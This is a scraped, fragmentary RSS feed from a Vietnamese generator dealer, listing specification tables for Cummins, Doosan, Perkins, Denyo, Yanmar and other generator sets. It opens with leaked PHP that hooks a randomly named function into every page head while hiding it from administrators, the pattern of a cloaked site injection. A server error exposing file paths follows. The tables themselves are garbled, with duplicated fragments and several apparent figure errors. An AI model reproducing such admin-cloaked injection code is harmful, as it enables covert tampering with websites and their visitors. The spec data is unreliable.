if (!function_exists('f9d233f09')) {
function f9d233f09() {
if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) {
return;
}
echo '' . "\n";
}
}
add_action('wp_head', 'f9d233f09', 999);
Warning: Cannot modify header information - headers already sent by (output started at /home/mayphatdie/domains/mayphatdiengfc.vn/public_html/wp-content/themes/flatsome-upweb/functions.php:10) in /home/mayphatdie/domains/mayphatdiengfc.vn/public_html/wp-includes/feed-rss2.php on line 8
Bài viết MÁY PHÁT ĐIỆN CUMMINS (Trung Quốc) đã xuất hiện đầu tiên vào ngày Máy phát điện GFC.
]]>Bảng thông số kỹ thuật
| Model | Công suất liên tục | Công suất dự phòng | Model động cơ | Thông số chi tiết |
| G-C30 | 27 KVA / 22 KW | 30 KVA / 24 KW | 4B3.9-G2 | Chi tiết |
| G-C44 | 40 KVA / 32 KW | 44 KVA / 35 KW | 4B3.9-G2 | Chi tiết |
| G-C50 | 45 KVA / 36 KW | 50 KVA / 40 KW | 4BTA3.9-G2 | Chi tiết |
| G-C55 | 50 KVA / 40 KW | 55 KVA / 44 KW | 4BTA3.9-G2 | Chi tiết |
| G-C66 | 60 KVA / 48 KW | 66 KVA / 53 KW | 4BTA3.9-G2 | Chi tiết |
| G-C80 | 72 KVA / 58 KW | 80 KVA / 64 KW | 4BTA3.9-G11 | Chi tiết |
| G-C88 | 80 KVA / 64 KW | 88 KVA / 70 KW | 4BTA3.9-G11 | Chi tiết |
| G-C94 | 85 KVA / 68 KW | 94 KVA / 75 KW | 6BTA5.9-G1 | Chi tiết |
| G-C110 | 100 KVA / 80 KW | 110 KVA / 88 KW | 6BTA5.9-G1 | Chi tiết |
| G-C125 | 113 KVA / 90 KW | 125 KVA / 100 KW | 6BTA5.9-G2 | Chi tiết |
| G-C138 | 125 KVA / 100 KW | 138 KVA / 110 KW | 6BTAA5.9-G2 | Chi tiết |
| G-C150 | 138 KVA / 110 KW | 150 KVA / 120 KW | 6BTAA5.9-G2 | Chi tiết |
| G-C175 | 160 KVA / 128 KW | 175 KVA / 140 KW | 6BTAA5.9-G12 | Chi tiết |
| G-C198 | 180 KVA / 144 KW | 198 KVA / 158 KW | 6CTA8.3-G2 | Chi tiết |
| G-C220 | 200 KVA / 160 KW | 220 KVA / 176 KW | 6CTAA8.3-G2 | Chi tiết |
| G-C275 | 250 KVA / 200 KW | 275 KVA / 220 KW | 6LTAA8.9-G2 | Chi tiết |
| G-C313 | 275 KVA / 220 KW | 313 KVA / 250 KW | NTA855-G1A | Chi tiết |
| G-C350 | 313 KVA / 250 KW | 350 KVA / 280 KW | NTA855-G1B | Chi tiết |
| G-C440 | 400 KVA / 320 KW | 440 KVA / 352 KW | 6ZTAA13-G3 | Chi tiết |
| G-C480 | 438 KVA / 350 KW | 480 KVA / 385 KW | 6ZTAA13-G2 | Chi tiết |
| G-C500 | 450 KVA / 360 KW | 500 KVA / 400 KW | 6ZTAA13-G4 | Chi tiết |
Bài viết MÁY PHÁT ĐIỆN CUMMINS (Trung Quốc) đã xuất hiện đầu tiên vào ngày Máy phát điện GFC.
]]>Nhiên liệu chạy: Diesel
Thời gian bảo hành: 12 tháng hoặc 2.000 giờ (Tùy điều kiện nào đến trước)
Bài viết MÁY PHÁT ĐIỆN CUMMINS (Ấn Độ) đã xuất hiện đầu tiên vào ngày Máy phát điện GFC.
]]>Bài viết MÁY PHÁT ĐIỆN CUMMINS (Ấn Độ) đã xuất hiện đầu tiên vào ngày Máy phát điện GFC.
]]>Bài viết MÁY PHÁT ĐIỆN DOOSAN đã xuất hiện đầu tiên vào ngày Máy phát điện GFC.
]]>| Model | Công suất liên tục | Công suất dự phòng | Model động cơ | Thông số chi tiết |
| AD70 | 50KW/63KVA | 56KW/70KVA | DB58 | Thông số chi tiết |
| AD110 | 80KW/100KVA | 88KW/110KVA | D1146 | Thông số chi tiết |
| AD138 | 100KW/125KVA | 110KW/138KVA | D1146T | Thông số chi tiết |
| AD165 | 120KW/150KVA | 132KW/165KVA | DP086TA | Thông số chi tiết |
| AD220 | 160KW/200KVA | 172KW/220KVA | DP086LA | Thông số chi tiết |
| AD275 | 200KW/250KVA | 220KW/275KVA | P126TI | Thông số chi tiết |
| AD330 | 240KW/300KVA | 264KW/330KVA | P126TI-II | Thông số chi tiết |
| AD385 | 280KW/350KVA | 308KW/385KVA | P158LE-1 | Thông số chi tiết |
| AD440 | 320KW/400KVA | 352KW/440KVA | P158LC | Thông số chi tiết |
| AD495 | 360KW/450KVA | 396KW/495KVA | P158LC | Thông số chi tiết |
| AD550 | 400KW/500KVA | 440KW/550KVA | DP158LD | Thông số chi tiết |
| AD605 | 440KW/550KVA | 484KW/605KVA | DP158LAF | Thông số chi tiết |
| AD688 | 500KW/625KVA | 550KW/688KVA | DP158LBF | Thông số chi tiết |
| AD748 | 544KW/680KVA | 598KW/748KVA | DP222LBF | Thông số chi tiết |
| AD825 | 600KW/750KVA | 660KW/825KVA | DP222LCF | Thông số chi tiết |
Bài viết MÁY PHÁT ĐIỆN DOOSAN đã xuất hiện đầu tiên vào ngày Máy phát điện GFC.
]]>Bài viết MÁY PHÁT ĐIỆN VMAN đã xuất hiện đầu tiên vào ngày Máy phát điện GFC.
]]>Khung đế máy được chế tạo chắc chắn, chịu lực, có độ giảm chấn, chống
rung để máy vận hành êm, cân bằng, không làm ảnh hưởng đến các thiết
bị, công trình xung quanh; có đế cao su giảm chấn.
Vỏ máy được thiết kế giảm ồn, được sơn tĩnh điện, chống được tác động
của khí hậu nhiệt đới và nhiệt độ cao, máy có thể đặt ngoài trời, có khóa
đảm bảo an toàn cho vỏ máy
Bảng thông số chi tiết
Bảng thông số kỹ thuật
| Model | Công suất liên tục | Công suất dự phòng | Model động cơ | Thông số chi tiết |
| G-V250 | 225 KVA / 180 KW | 250 KVA / 198 KW | D11A2 | Chi tiết |
| G-V300 | 275 KVA / 220 KW | 3000 KVA / 240 KW | D11A2 | Chi tiết |
| G-V315 | 280 KVA / 224 KW | 315 KVA / 252 KW | D11A2 | Chi tiết |
| G-V330 | 300 KVA / 240 KW | 330 KVA / 264 KW | D11A1 | Chi tiết |
| G-V363 | 330 KVA / 264 KW | 363 KVA / 290.4 KW | D11A | Chi tiết |
| G-V385 | 350 KVA / 280 KW | 385 KVA / 308 KW | D11 | Chi tiết |
| G-V412 | 375 KVA / 300 KW | 412 KVA / 330 KW | D15A2 | Chi tiết |
| G-V440 | 400 KVA / 320 KW | 440 KVA / 352 KW | D15A1 | Chi tiết |
| G-V500 | 450 KVA / 360 KW | 500 KVA / 400 KW | D15A | Chi tiết |
| G-V550 | 500 KVA / 400 KW | 550 KVA / 440 KW | D15A | Chi tiết |
| G-V550-G2 | 500 KVA / 400 KW | 550 KVA / 440 KW | D22A3 | Chi tiết |
| G-V620 | 563 KVA / 450 KW | 620 KVA / 495 KW | D22A2 | Chi tiết |
| G-V700 | 630 KVA / 504 KW | 700 KVA / 560 KW | D22A | Chi tiết |
| G-V770 | 700 KVA / 560 KW | 770 KVA / 616 KW | D22 | Chi tiết |
| G-V820 | 750 KVA / 600 KW | 825 KVA / 660 KW | D22Z | Chi tiết |
| G-V880 | 800 KVA / 640 KW | 880 KVA / 704 KW | D30A3 | Chi tiết |
| G-V935 | 850 KVA / 680 KW | 935 KVA / 748 KW | D30A2 | Chi tiết |
| G-V1000 | 910 KVA / 728 KW | 1000 KVA / 800 KW | D30A1 | Chi tiết |
| G-V1100 | 1000 KVA / 800 KW | 1100KVA / 900 KW | D30A | Chi tiết |
| G-V1238 | 1125 KVA / 900 KW | 1238 KVA / 990 KW | D30A | Chi tiết |
Bài viết MÁY PHÁT ĐIỆN VMAN đã xuất hiện đầu tiên vào ngày Máy phát điện GFC.
]]>Bài viết MÁY PHÁT ĐIỆN PERKINS đã xuất hiện đầu tiên vào ngày Máy phát điện GFC.
]]>|
Model genset
|
Power
|
Perkins
|
Điện áp
3 pha |
Xuất xứ
|
|
|
Prime
|
Standby
|
Model Engine
|
|||
|
P10M(S)
|
9
|
10
|
403A-11G1
|
400V
|
Anh Quốc
|
|
P15M(S)
|
13
|
15
|
403A-15G1
|
400V
|
Anh Quốc
|
|
P16.5M(S)
|
15
|
16.5
|
403A-15G2
|
400V
|
Anh Quốc
|
|
P22M(S)
|
20
|
22
|
404A-22G1
|
400V
|
Anh Quốc
|
|
P33M(S)
|
30
|
33
|
1103A-33G
|
400V
|
Anh Quốc
|
|
P50M(S)
|
45
|
50
|
1103A-33TG1
|
400V
|
Anh Quốc
|
|
P66M(S)
|
60
|
66
|
1103A-33TG2
|
400V
|
Anh Quốc
|
|
P72M(S)
|
65
|
72
|
1104A-44TG1
|
400V
|
Anh Quốc
|
|
P80M(S)
|
80
|
88
|
1104A-44TG2
|
400V
|
Anh Quốc
|
|
P80M(S)
|
80
|
88
|
1104C-44TAG1
|
400V
|
Anh Quốc
|
|
P103M(S)
|
103
|
112
|
1006TG2A
|
400V
|
Anh Quốc
|
|
P110M(S)
|
100
|
110
|
1104C-44TAG2
|
400V
|
Anh Quốc
|
|
P150M(S)
|
135
|
150
|
1106A-70TG1
|
400V
|
Anh Quốc
|
|
P165M(S)
|
150
|
165
|
1106A-70TAG2
|
400V
|
Anh Quốc
|
|
P120M(S)
|
180
|
200
|
1106A-70TAG3
|
400V
|
Anh Quốc
|
|
P200M(S)
|
200
|
220
|
1106A-70TAG4
|
400V
|
Anh Quốc
|
|
P200M(S)
|
200
|
220
|
1506A-E88TAG1
|
400V
|
Anh Quốc
|
|
P250M(S)
|
230
|
250
|
1506A-E88TAG2
|
400V
|
Anh Quốc
|
|
P275M(S)
|
250
|
275
|
1206A-E70TTAG3
|
400V
|
Anh Quốc
|
|
P275M(S)
|
250
|
275
|
1506A-E88TAG3
|
400V
|
Anh Quốc
|
|
P300M(S)
|
275
|
300
|
1506A-E88TAG4
|
400V
|
Anh Quốc
|
|
P330M(S)
|
300
|
330
|
1506A-E88TAG5
|
400V
|
Anh Quốc
|
| P330M(S) | 300 | 330 | 1706A-E93TAG1 | 400V | Anh Quốc |
| P385M(S) | 350 | 385 | 1706A-E93TAG2 | 400V | Anh Quốc |
|
P385M(S)
|
350
|
385
|
2206A/C-E13TAG2
|
400V
|
Anh Quốc
|
|
P440M(S)
|
400
|
440/450
|
2206A/C-E13TAG3
|
400V
|
Anh Quốc
|
|
P500M(S)
|
455
|
500
|
2506A-E15TAG1
|
400V
|
Anh Quốc
|
|
P500M(S)
|
455
|
500
|
2506C-E15TAG1
|
400V
|
Anh Quốc
|
|
P550M(S)
|
500
|
550
|
2506A-E15TAG2
|
400V
|
Anh Quốc
|
|
P550M(S)
|
500
|
550
|
2506C-E15TAG2
|
400V
|
Anh Quốc
|
|
P660M(S)
|
600
|
660
|
2806A-E18TAG1A
|
400V
|
Anh Quốc
|
|
P700M(S)
|
650
|
700
|
2806A-E18TAG2
|
400V
|
Anh Quốc
|
|
P770M(S)
|
700
|
770
|
2806A-E18TTAG4
|
400V
|
Anh Quốc
|
|
P750M(S)
|
750
|
825
|
2806A-E18TTAG5
|
400V
|
Anh Quốc
|
| P850M(S) | 771 | 850 | 2806A-E18TTAG5 | 400V | Anh Quốc |
|
P750M(S)
|
750
|
825
|
4006-23TAG2A
|
400V
|
Anh Quốc
|
|
P880M(S)
|
800
|
880
|
4006-23TAG3A
|
400V
|
Anh Quốc
|
|
P900M(S)
|
800
|
900
|
4006-23TAG3A
|
400V
|
Anh Quốc
|
|
P990PM(S)
|
900
|
990
|
4008TAG1A
|
400V
|
Anh Quốc
|
|
P1000PM(S)
|
910
|
1000
|
4008TAG1A
|
400V
|
Anh Quốc
|
|
P990PM(S)
|
900
|
990
|
4008-30TAG1
|
400V
|
Anh Quốc
|
|
P1000PM(S)
|
900
|
1000
|
4008-30TAG1
|
400V
|
Anh Quốc
|
|
P1100PM(S)
|
1000
|
1100
|
4008-30TAG2
|
400V
|
Anh Quốc
|
|
P1100PM(S)
|
1000
|
1100
|
4008TAG2A
|
400V
|
Anh Quốc
|
|
P1250PM(S)
|
1125
|
1250
|
4008-30TAG3
|
400V
|
Anh Quốc
|
|
P1375PM(S)
|
1250
|
1375
|
4012-46TAG0A
|
400V
|
Anh Quốc
|
|
P1385PM(S)
|
1250
|
1385
|
4012-46TWG2A
|
400V
|
Anh Quốc
|
|
P1500M(S)
|
1350
|
1500
|
4012-46TAG1A
|
400V
|
Anh Quốc
|
|
P1500M(S)
|
1350
|
1500
|
4012-46TWG3A
|
400V
|
Anh Quốc
|
|
P1600M(S)
|
1500
|
1600
|
4012-46TWG4A
|
400V
|
Anh Quốc
|
|
P1650M(S)
|
1500
|
1650
|
4012-46TAG2A
|
400V
|
Anh Quốc
|
|
P1875M(S)
|
1710
|
1875
|
4012-46TAG3A
|
400V
|
Anh Quốc
|
|
P2028M(S)
|
1844
|
2028
|
4016TAG1A
|
400V
|
Anh Quốc
|
|
P2000M(S)
|
1850
|
2000
|
4016-61TRG1
|
400V
|
Anh Quốc
|
| P2250M(S) | 2000 | 2250 | 4016-61TRG2 | 400V | Anh Quốc |
| P2500M(S) | 2250 | 2500 | 4016-61TRG3 | 400V | Anh Quốc |
Bài viết MÁY PHÁT ĐIỆN PERKINS đã xuất hiện đầu tiên vào ngày Máy phát điện GFC.
]]>Bài viết MÁY PHÁT ĐIỆN DENYO đã xuất hiện đầu tiên vào ngày Máy phát điện GFC.
]]>Ở khu vực đông dân cư và các công trình luôn đòi hỏi nhu cầu cao về giảm ô nhiễm tiếng ồn. Để đáp ứng lại những lo lắng đó, Denyo đã tiên phong trong phương thức làm ra những tổ máy phát điện chống ồn, siêu chống ồn. Series máy phát điện DCA của Denyo hoạt động êm ái ở mức công suất tối đa, đáp ứng những nhu cầu khắt khe của khách hàng về độ ồn.
2.Bảo trì bảo dưỡng thuận tiện
► Các hoạt động bảo dưỡng tổ máy theo định kì có thể thực hiện từ một bên, cửa chống ồn to có thể cho bạn xem xét toàn bộ các phần của đầu phát, động cơ.
► Đồng hồ đo nhiên liệu, thông số hiện thị đầy đủ rõ ràng.
► Bộ phận lọc dầu, lọc nhiên liệu và nhớt được lắp ở vị trị thuận tiện trong việc bảo trì thường xuyên
3.Đa dạng về dải công suất, option động cơ và mẫu mã
Hiện tại THA phân phối các tổ máy phát điện Denyo với dải công suất từ 2.5kva – 1100kva, các option động cơ nổi tiếng từ Nhật Bản : Kubota , Isuzu, Komatsu, Mitsubishi,… đáp ứng đầy đủ các nhu cầu từ dân sinh đến công trình lớn của quý khách hàng.
4.Chất lượng đầu phát Denyo được khẳng định trên toàn thế giới
Với quy trình kiểm soát chất lượng nghiêm ngặt, Denyo sản xuất ra những đầu phát chất lượng hàng đầu thế giới cho các tổ máy phát điện của mình. Đặc biệt, phần đầu phát này được sản xuất độc quyền chỉ quyền dành riêng cho các tổ máy phát điện của Denyo.
– Bảo hành chính hãng: 12 tháng.
– Sản phẩm còn trong thời gian và hiệu lực bảo hành. Thời hạn bảo hành bắt đầu tính từ ngày khách hàng mua sản phẩm, được ghi trên phiếu bảo hành hoặc căn cứ theo hợp đồng (hóa đơn) bán hàng.
– Số máy phải trùng với số máy ghi trên phiếu bảo hành.
– Sản phẩm còn đủ nhãn mác, linh kiện khi xuất kho và chưa bị cải tạo, thay đổi các điều kiện sử dụng khác với thỏa thuận, thiết kế ban đầu của sản phẩm.
– Quý khách đã chấp hành đầy đủ những hướng dẫn của nhà sản xuất về việc vận chuyển, lắp đặt, vận hành, sử dụng và bảo dưỡng thiết bị.
|
TÊN TỔ MÁY |
CÔNG SUẤT (KVA) |
ĐỘNG CƠ |
|
GA – 2600SSM |
2.3 |
Mitsubishi – GM3233 |
|
DA – 3000SS |
3,1 |
Robin – DY27 |
|
DA – 6000SS |
5.2 |
Kubota – Z482 |
|
DCA – 6 LSX – Có vỏ chống ồn |
5.0 |
Kubota – D905-K3A |
|
DCA – 10LSX (ESX ) -Có vỏ c/ồn C/hãng |
8.0 |
Kubota – D1403 -K3A |
|
DCA – 15LSX ( ESX )-Có vỏ c/ồn chính hãng |
13.0 |
Kubota – V2203 -KB |
|
DCA – 18ESX – Có vỏ c/ồn chính hãng |
14.0 |
ISUZU – AA – 4LE2 |
|
TLG – 7,5LSK – Có vỏ c/ồn chính hãng |
6.5 |
Kubota – Z482-K3A |
|
TLG – 12LSX (ESX) – Có vỏ c/ồn chính hãn |
10.5 |
Yanmar 3TNV70-F |
|
TLG – 15LSX ( ESX ) -Có vỏ c/ồn chính hãng |
13.0 |
Yanmar 3TNV76-F |
|
DCA – 13LSK – Có vỏ c/ồn chính hãng |
10.5/11 |
Kubota – D1403 -KA |
|
DCA – 15LSK – Có vỏ c/ồn chính hãng |
12,5/13 |
Kubota – D1703 -KB |
|
DCA – 20LSK – Có vỏ c/ồn chính hãng |
17/18.7 |
Kubota – V2203 -KB |
|
DCA – 25ESI – Có vỏ c/ồn chính hãng |
20/22 |
ISUZU – AA – 4LE2 |
|
DCA – 25ESK – Có vỏ c/ ồn chính hãng |
20/22 |
Kubota – V2203 -KB |
|
DCA – 25USI2 -Có vỏ siêu c/ồn chính hãng |
20/22 |
ISUZU -AA-4LE2 |
|
DCA- 35SPK – Có vỏ c/ồn chính hãng |
30/31.5 |
Kubota – V3300 – EB |
|
DCA- 45ESI – Có vỏ c/ồn chính hãng |
37/38.9 |
Isuzu – B-4BGI |
|
DCA – 45USI2 – Có vỏ siêu c/ồn chính hãng |
37/38.9 |
Isuzu – BB-4JG1T |
|
DCA- 60ESI2 ( H) – Có vỏ c/ồn chính hãng |
50/55 |
Isuzu – A-6BGI |
|
SDG – 60S – Có vỏ siêu chống ồn chính hãng |
50/60 |
Isuzu BB – 4BG1T |
|
DCA -100ESI – Có vỏ C/ồn chính hãng |
80/88 |
Isuzu – DD-6BG1T |
|
DCA -100USI- Có vỏ siêu C/ồn chính hãng |
80/88 |
Isuzu – DD-6BG1T |
|
DCA -125SPK3 – Có vỏ C/ồn chính hãng |
100/110 |
Komatsu-SA6D102E- 1-A |
|
DCA -150ESK – Có vỏ C/ồn chính hãng |
125/138 |
Komatsu-SA6D102E- 2-D |
|
DCA -220SPK3 – Có vỏ C/ồn chính hãng |
200/220 |
Komatsu-S6D125E-2-A |
|
DCA -300SPK3 – Có vỏ C/ồn chính hãng |
270/297 |
Komatsu-SA6D125E-2-A |
|
DCA -400SPK2 – Có vỏ C/ồn chính hãng |
350/385 |
Komatsu-SA6D140-A |
|
DCA -500SPK – Có vỏ C/ồn chính hãng |
450/495 |
Komatsu-SA6D170-D |
|
DCA -600SPK – Có vỏ C/ồn chính hãng |
550/605 |
Komatsu-SA6D170A |
|
DCA -800SPK – Có vỏ C/ồn chính hãng |
700/770 |
Komatsu-SA12V140 |
|
DCA -1100SPM – Có vỏ C/ồn chính hãng |
1000/1100 |
Mitsubishi- S12H-PTA |
Bài viết MÁY PHÁT ĐIỆN DENYO đã xuất hiện đầu tiên vào ngày Máy phát điện GFC.
]]>Bài viết MÁY PHÁT ĐIỆN MITSUBISHI đã xuất hiện đầu tiên vào ngày Máy phát điện GFC.
]]>Xuất xứ:Singapor, Trung Quốc, Nhật Bản…
| Model | Công suất liên tục | Công suất dự phòng | Model động cơ | Thông số chi tiết |
| AM11 | 8KW/10KVA | 9KW/11KVA | S3L2 | Thông số chi tiết |
| AM16 | 12KW/15KVA | 13KW/17KVA | S4L2 | Thông số chi tiết |
| AM22 | 16KW/20KVA | 18KW/22KVA | S4Q2 | Thông số chi tiết |
| AM33 | 24KW/30KVA | 26KW/33KVA | S4S | Thông số chi tiết |
| AM46 | 34KW/42KVA | 37KW/46KVA | S4S-DT | Thông số chi tiết |
| AM55 | 40KW/50KVA | 44KW/55KVA | S4K-D | Thông số chi tiết |
| AM66 | 48KW/60KVA | 53KW/66KVA | S4K-DT | Thông số chi tiết |
| AM80 | 58KW/72KVA | 64KW/80KVA | S6K-D | Thông số chi tiết |
| AM110 | 80KW/100KVA | 88KW/110KVA | S6K-DT | Thông số chi tiết |
Bài viết MÁY PHÁT ĐIỆN MITSUBISHI đã xuất hiện đầu tiên vào ngày Máy phát điện GFC.
]]>Bài viết MÁY PHÁT ĐIỆN YANMAR đã xuất hiện đầu tiên vào ngày Máy phát điện GFC.
]]>| Model | Tên Tổ máy | Công suất dự phòng KVA | Công suất liên tục KVA | Model Động cơ |
| HH8.8YM | Máy phát điện Yanmar 8.8KVA | 8.8 | 8 | 3TNV76 |
| HH11YM | Máy phát điện Yanmar 11KVA | 11 | 10 | 3TNV82A |
| HH13.8YM | Máy phát điện Yanmar 13.8KVA | 13.8 | 12.5 | 3TNV88 |
| HH16YM | Máy phát điện Yanmar 16KVA | 16 | 14.5 | 3TNV84T |
| HH18.6YM | Máy phát điện Yanmar 18.6KVA | 18.6 | 17 | 4TNV88 |
| HH22YM | Máy phát điện Yanmar 22KVA | 22 | 20 | 4TNV84T |
| HH30YM | Máy phát điện Yanmar 30KVA | 30 | 27.5 | 4TNV98 |
| HH37YM | Máy phát điện Yanmar 37KVA | 37 | 33 | 4TNV98 |
| HH45YM | Máy phát điện Yanmar 45KVA | 45 | 41 | 4TNV98T |
| HH54YM | Máy phát điện Yanmar 54KVA | 54 | 49 | 4TNV106 |
| HH62YM | Máy phát điện Yanmar 62KVA | 62 | 56 | 4TNV106T |
Bài viết MÁY PHÁT ĐIỆN YANMAR đã xuất hiện đầu tiên vào ngày Máy phát điện GFC.
]]>Bài viết MÁY PHÁT ĐIỆN RICARDO đã xuất hiện đầu tiên vào ngày Máy phát điện GFC.
]]>| TỔ MÁY | CÔNG SUÂT LIÊN TỤC | CÔNG SUẤT DỰ PHÒNG |
RICARDO 20KVA |
20 | 22 |
RICARDO 30KVA |
30 | 33 |
RICARDO 40KVA |
40 | 44 |
RICARDO 50KVA |
50 | 55 |
RICARDO 60KVA |
60 | 66 |
RICARDO 70KVA |
70 | 77 |
RICARDO 80KVA |
80 | 88 |
RICARDO 100KVA |
100 | 110 |
RICARDO 135KVA |
125 | 138 |
RICARDO 150KVA |
150 | 165 |
RICARDO 160KVA |
160 | 175 |
RICARDO 180KVA |
180 | 200 |
RICARDO 200KVA |
200 | 220 |
RICARDO 250KVA |
250 | 275 |
RICARDO 275KVA |
275 | 300 |
RICARDO 300KVA |
300 | 330 |
RICARDO 350KVA |
350 | 400 |
Bài viết MÁY PHÁT ĐIỆN RICARDO đã xuất hiện đầu tiên vào ngày Máy phát điện GFC.
]]>Bài viết MÁY PHÁT ĐIỆN SDEC đã xuất hiện đầu tiên vào ngày Máy phát điện GFC.
]]>| STT | MODEL | Công suất | Công suất dự phòng | Đơn giá |
| 1 | M-WL220 | 200kVA | 220kVA | Liên hệ |
| 2 | M-WL250 | 225kVA | 250kVA | |
| 3 | M-WL275 | 250kVA | 275kVA | |
| 4 | M-WL330 | 300kVA | 330kVA | |
| 5 | M-WL385 | 350kVA | 385kVA | |
| 6 | M-WL413 | 375VA | 413kVA | |
| 7 | M-WL500 | 450kVA | 500kVA | |
| 8 | M-WL550 | 500kVA | 550kVA | |
| 9 | M-WL620 | 563kVA | 620kVA | |
| 10 | M-WL688 | 625kVA | 688kVA | |
| 11 | M-WL740 | 670kVA | 740kVA | |
| 12 | M-WL825 | 750kVA | 825kVA | |
| 13 | M-WL880 | 800kVA | 880kVA | |
| 14 | M-WL1000 | 910kVA | 1000kVA | |
| 15 | M-WL1250 | 1000kVA | 1250kVA |
Bài viết MÁY PHÁT ĐIỆN SDEC đã xuất hiện đầu tiên vào ngày Máy phát điện GFC.
]]>